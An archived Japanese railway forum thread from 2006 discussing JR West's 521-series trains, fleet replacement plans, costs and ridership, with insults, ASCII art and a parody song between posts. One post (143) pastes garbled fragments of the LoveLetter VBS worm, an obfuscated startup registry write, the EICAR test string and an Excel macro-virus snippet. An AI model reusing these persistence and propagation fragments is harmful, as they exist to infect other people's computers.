/ ＿ ` ｰ一'´￣ / ＿｛ ヽ;;＿ ＼ ヽ ノ
(＿＿＿） / .| ゝ〉 〉 〉ﾉ_ ＼＿＿ ∵::＿＿ノ ；
| ｜バコォーン！ |
＿＿＿＿＿＿＿＿＿＿＿＿＿∧＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
うるせー蛆虫馬鹿低脳！お前のほうが先に氏ねや！ﾊﾞｲﾊﾞｲｷーﾝ♪
115:名無し野電車区
06/11/04 01:16:18 GHdjeSIr
車内って何気に天井は321系見たくなってるんだよな内装は２２３系と同じようやったが＞ 521系
以上チラシ寿司の裏ですた
116:名無し野電車区
06/11/04 01:26:50 E2ZoU0si
>>103>>106
転クロにすると座席数が減るからという地元の要望だったはず。
快適性より多く座れる事を取ったらしい。
117:名無し野電車区
06/11/04 01:43:34 EcDBXU3x
お待たせしました。
URLﾘﾝｸ(warheads.s5.xrea.com)
近車からの新造車出場経路に521系用速度制限標識登場！
今後、金沢支社用など100両規模の増備が始まるよ。
413系インバータ制御化は検討中。
118:名無し野電車区
06/11/04 01:56:03 RdsCgKQJ
５２１系は・・・
もう興味なくなったｗ
新快速の便利さを味わうと２両鈍行なんてアホくさくて乗ってられへんｗ
それより、静岡の３１３系がどうなるかの方が遥かに興味あるｗ
119:名無し野電車区
06/11/04 04:22:05 z43GoF1B
>>117
誰がお布施出すのん？
手切れ金という話もあるが
120:名無し野電車区
06/11/04 06:36:06 YP/fgkLv
>>117
たんなる妄想だな。当分は521系の導入はないだろうな。
西日本はそれより221系置き換えの223系の増備に必死ですから。
あるとしたら、それが終わる再来年になるだろうな。
121:名無し野電車区
06/11/04 12:39:48 YP/fgkLv
419系の置き換えならあると思うが。
まだまだ使える４７５系等は置き換えられないと思う。
122:名無し野電車区
06/11/04 12:47:31 Yw0V3a2D
HK100似＆キハ126似の車両になります。
123:名無し野電車区
06/11/04 13:11:10 TEwxUVRq
急行型はまだ寿命大丈夫なのかな？
419/急行型の写真をとっておかなければ。
寒いのはいやなので今月中に行く必要がありそう(;´Д｀)
124:名無し野電車区
06/11/04 13:28:38 YP/fgkLv
>>123
急行形はまだまだ廃止はないと思いますよ。
125:名無し野電車区
06/11/04 15:29:33 e9lqcCNL
おまいらがどう騒ごうと、521系は大量増備になるよ。
新・中期経営計画でも規定方針ですから。
126:名無し野電車区
06/11/04 15:37:31 WrL22jeN
福井だけだと２連か２連×２で十分なんだろうけど金沢だと常に４連とか必要じゃない？
中間車とかできるんかな？ サハ５２１とかクハ５２２とかモハ５２１とか・・・
ﾊｧﾊｧ・・・
127:名無し野電車区
06/11/04 15:42:46 YP/fgkLv
521系は、419系の置き換えが目的。
また、521系の増備があるとすれば、223系の増備が終了してから。
近畿車両と川崎重工業は、ＪＲ西の223系の大量製造に追われている。それ以外の多数の列車も受注されている。
521系の大量製造が行われたとしても、再来年の話。
また、485系の置き換えの方が先。
以上。
128:名無し野電車区
06/11/04 16:49:50 RHCfdpdg
>>１１１
そうかぁ…非食パン顔が廃車か…。仕方が無いか、旧式すぎるもんな。
鈍行なのに特急みたいなあの外見はけっこう好きなんだがなあ…残念だ。
小さいころから乗ってたやつが廃車になるって、さびしいもんだな。
129:名無し野電車区
06/11/04 20:45:38 adwk0y/6
>>122
それは糸魚川以東のほくほく線移管時に使われるヤツでは？
130:名無し野電車区
06/11/04 21:03:19 6N2NdEF8
静岡向け６列転クロの高性能車313系は最高だよな。
低性能鈍行521なんか糞に思えるぞ。
131:名無し野電車区
06/11/04 22:31:53 YP/fgkLv
それにしても敦賀以南の普通列車がほとんど419系高運転台の編成なのはビックリ。
そろそろ419系高運転台編成の見納めだな…
132:名無し野電車区
06/11/04 23:25:36 P5HMZF0n
今のところ増備は2両ユニットだけで考えられている。
インバータ制御化する413系も2両化の方向。
419系・475系列・415系800番台を全て取り替えていくみたいだな。
最終的に521系は100両程度の保有規模となる。
10年以上前から検討されてきた形式だから、動き出すと早いよ。
133:名無し野電車区
06/11/04 23:39:19 1FfuJX91
↑
こいつの執拗な粘着書き込み見ていると、
313系スレの静岡人のロング粘着と全く同じ。
実は同一人物だったりしてｗｗｗｗｗ
134:名無し野電車区
06/11/05 02:29:04 OHEHTRrP
嵯峨野線を電化区間延伸する代わりにDECとか言ってた頃からの話だもんね。
一時期はセクション付近だけを交直両用で
その他を交流専用の仕様とする方向だった。共に2両編成で数十両だったな。
135:名無し野電車区
06/11/05 07:01:19 GJu478lR
521系１編成(２両)の製造費４億円は高いほうかな。
125系は１両１．８億円です。
136:名無し野電車区
06/11/05 07:03:15 GJu478lR
521系１編成(２両)の製造費４億円は高いほうかな。
ちなみに、125系は１両１．８億円です。
137:名無し野電車区
06/11/05 07:09:39 GJu478lR
連続投稿ごめんなさい。。。
138:名無し野電車区
06/11/05 08:51:28 uRUqOtgd
北陸線の一番寂しい区間に新車が走行するのはおかしい。
139:名無し野電車区
06/11/05 11:32:45 mMplIAD4
Get Wild
ロング車マグロを切りつけながら 静岡走り抜ける
チープな電車に身をまかせても 明日は慣れてくるよ
It’s your pain or my pain or somebody’s pain シス区のために入れられるなら
It’s your dream or my dream or somebody’s dream 何も可笑しくはない
※Get wild and tough 名古屋では解けないシスの需要を抱いて
Get wild and tough 転クロでやさしさに甘えていたくはない
Get chance and luck シスだけが守れるロングどこかにあるさ
Get chance and luck 名古屋でも無理だった減車なし遂げるよ
ロングの新車にkissを投げては ホームで踊る静岡塵
ロングの車内をステージにして 間抜けにおどけていたね
It’s your pain or my pain or somebody’s pain シス区のために下賜するのなら
It’s your dream or my dream or somebody’s dream きっとロングになる
Get wild and tough 名古屋では言えない望み心に抱いて
Get wild and tough 転クロで車両をもてあましたくはない
Get chance and luck シスだけが守れるロングみつけだしたら
Get chance and luck 名古屋でも無理だった減車なし遂げるよ
（※くりかえし）
Get wild and tough
Get wild and tough
Get chance and luck
シスだけが
140:名無し野電車区
06/11/05 11:34:05 qziyK0rB
初期ロットは値段が高い
量産化で今後は安くなるよ
値引きもしやすくなるし
141:名無し野電車区
06/11/05 14:46:14 NXWkG7fW
））138
なぜおかしいか100字で答えろ
142:名無し野電車区
06/11/05 15:36:20 Kt7c7yXp
長浜〜敦賀間利用客多いの？
143:名無し野電車区
06/11/05 16:01:18 wX/NbgXS
< >
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data=" C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
c:\
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
144:名無し野電車区
06/11/05 16:03:42 5g4ZtQ/k
|┃ ＼ ,.:∴~・:,゜・~・:,゜・ ,
|┃ヽ＿）つ‘∴・゜゜・・∴~・:,゜・・∴
|┃ (::)(::) ヽ ・゜゜・∴~゜
|┃／ > ） ゜゜・∴:,゜・~
|┃ (＿＿) :,゜・~:,゜・゜゜・~ܲܲ.
145:名無し野電車区
06/11/05 18:44:42 W72pPZR3
５２１系って、床から下は６８３系のものを使ってるんだったか？
146:名無し野電車区
06/11/05 19:17:00 GJu478lR
>>145
台車以外は６８３系の装備とほぼ一緒です。
147:名無し野電車区
06/11/05 23:08:27 /IAN2G3J
一番寂しい区間だから原発が立地できる。
原発マネーがあるからなんでもできる。（ように感じる）
敦賀市だめぽ・・・
148:名無し野電車区
06/11/06 01:49:06 f4MN2TW8
>>138はたった１０本しか新型化しない地域に嫉妬している
哀れなトヤ魔人
149:名無し野電車区
06/11/06 02:26:43 rG9lqOd7
トヤ魔なんてまだ使ってる奴がいたんだな
トヤが意味不明だし面白くもなんとも無いのに
150:名無し野電車区
06/11/06 02:42:05 fyCJDmR8
↑
トヤ魔人乙
151:名無し野電車区
06/11/06 10:29:52 e+saNJ5h
>>142
始めて乗車したのだが長浜〜木ノ本の客が多いな。
4両で立客がでる程度だからたいしたもん。
駅周辺の区画整理が進んでいて平野部も安曇川近辺、
米原・彦根より多いし、木ノ本は高速ICや国道3線の結節点である。
立地はなかなかのもんだと思うよ。
駅舎のバリアフリー化が進んで利用しやすくなったし。
ただオコナイとか土地柄があるからねぇ・・・長浜以北には
都市部出身の奴は住み難いだろうね。雪もあるしね。
まあ、それも都市化が進めば長浜のように変わっていくかもね
直通で驚いたのが木ノ本〜長浜だけでなく琵琶湖線沿線の発展かな。
来年は第二名神開通の前倒しもあるし。
152:名無し野電車区
06/11/06 11:01:34 E5IAUpKs
彦根と湖北とくらべたら終わりだな。
滋賀県北部で最大のＪＲ西日本の乗降者数がいる駅だからな。
ソース：滋賀県の統計
彦根駅…約１万人
米原駅…約８千人
長浜駅…約６千人
彦根は、みんな新快速に乗る。
普通はほぼ乗らない。
また、彦根は新快速は１２両か８両でくるから少なく感じるが、４両となると長浜よりも多い。
４両で運転されている新快速の区間と８両か１２両で運転されている新快速を比べるのはどうかと思う。
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